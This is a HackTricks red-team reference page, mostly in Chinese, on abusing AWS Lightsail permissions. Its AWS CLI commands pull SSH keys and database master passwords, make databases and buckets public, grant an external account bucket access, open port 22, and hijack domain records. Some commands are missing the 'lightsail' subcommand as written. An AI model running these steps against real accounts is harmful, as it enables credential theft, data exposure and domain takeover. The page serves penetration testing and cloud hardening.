AWS - Lightsail Privesc

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Lightsail

有关 Lightsail 的更多信息,请参见:

AWS - Lightsail Enum

Warning

请注意,Lightsail 不使用属于用户的 IAM roles,而是使用由 AWS 管理的账户,因此你无法滥用此服务来进行 privesc。不过,敏感数据(例如代码、API keys 和数据库信息)可能会出现在此服务中。

lightsail:DownloadDefaultKeyPair

该权限将允许你获取用于访问实例的 SSH 密钥:

aws lightsail download-default-key-pair

潜在影响: 查找实例内的敏感信息。

lightsail:GetInstanceAccessDetails

该权限将允许你生成 SSH 密钥以访问实例:

aws lightsail get-instance-access-details --instance-name <instance_name>

Potential Impact: 在实例内查找敏感信息。

lightsail:CreateBucketAccessKey

此权限将允许你获取用于访问 bucket 的 key:

aws lightsail create-bucket-access-key --bucket-name <name>

潜在影响: 在存储桶中查找敏感信息。

lightsail:GetRelationalDatabaseMasterUserPassword

此权限将允许你获取访问数据库的凭据:

aws lightsail get-relational-database-master-user-password --relational-database-name <name>

潜在影响: 在数据库中查找敏感信息。

lightsail:UpdateRelationalDatabase

该权限将允许你更改用于访问数据库的密码:

aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

如果数据库不是公开的,你也可以使用以下权限将其设为公开:

aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Potential Impact: 在数据库中发现敏感信息。

lightsail:OpenInstancePublicPorts

此权限允许将端口向互联网开放。

aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Potential Impact: 访问敏感端口。

lightsail:PutInstancePublicPorts

此权限允许将端口开放到互联网。请注意,该调用会关闭任何在调用中未指定的已开放端口。

aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Potential Impact: 访问敏感端口。

lightsail:SetResourceAccessForBucket

该权限允许授予实例对 bucket 的访问,而无需任何额外凭证。

aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Potential Impact: 可能获得对包含敏感信息的存储桶的新访问权限。

lightsail:UpdateBucket

有了此权限,攻击者可以授予其自己的 AWS 帐户对存储桶的读取访问权限,甚至将存储桶设为对所有人公开:

# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Potential Impact: 可能获得对包含敏感信息的存储桶的新访问权限。

lightsail:UpdateContainerService

拥有此权限时,attacker 可以通过 containers service 授予对 private ECRs 的访问权限。

aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

潜在影响: 从私有 ECR 获取敏感信息

lightsail:CreateDomainEntry

拥有此权限的攻击者可以创建子域并将其指向自己的 IP 地址(subdomain takeover),或构造 SPF 记录,允许其从该域 spoof 邮件,甚至将主域名指向自己的 IP 地址。

aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Potential Impact: 接管域名

lightsail:UpdateDomainEntry

拥有此权限的攻击者可以创建子域名并将其指向他自己的 IP 地址 (subdomain takeover),或伪造 SPF 记录,使他能够以该域发送伪造邮件,甚至将主域名指向他自己的 IP 地址。

aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Potential Impact: 接管域名

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks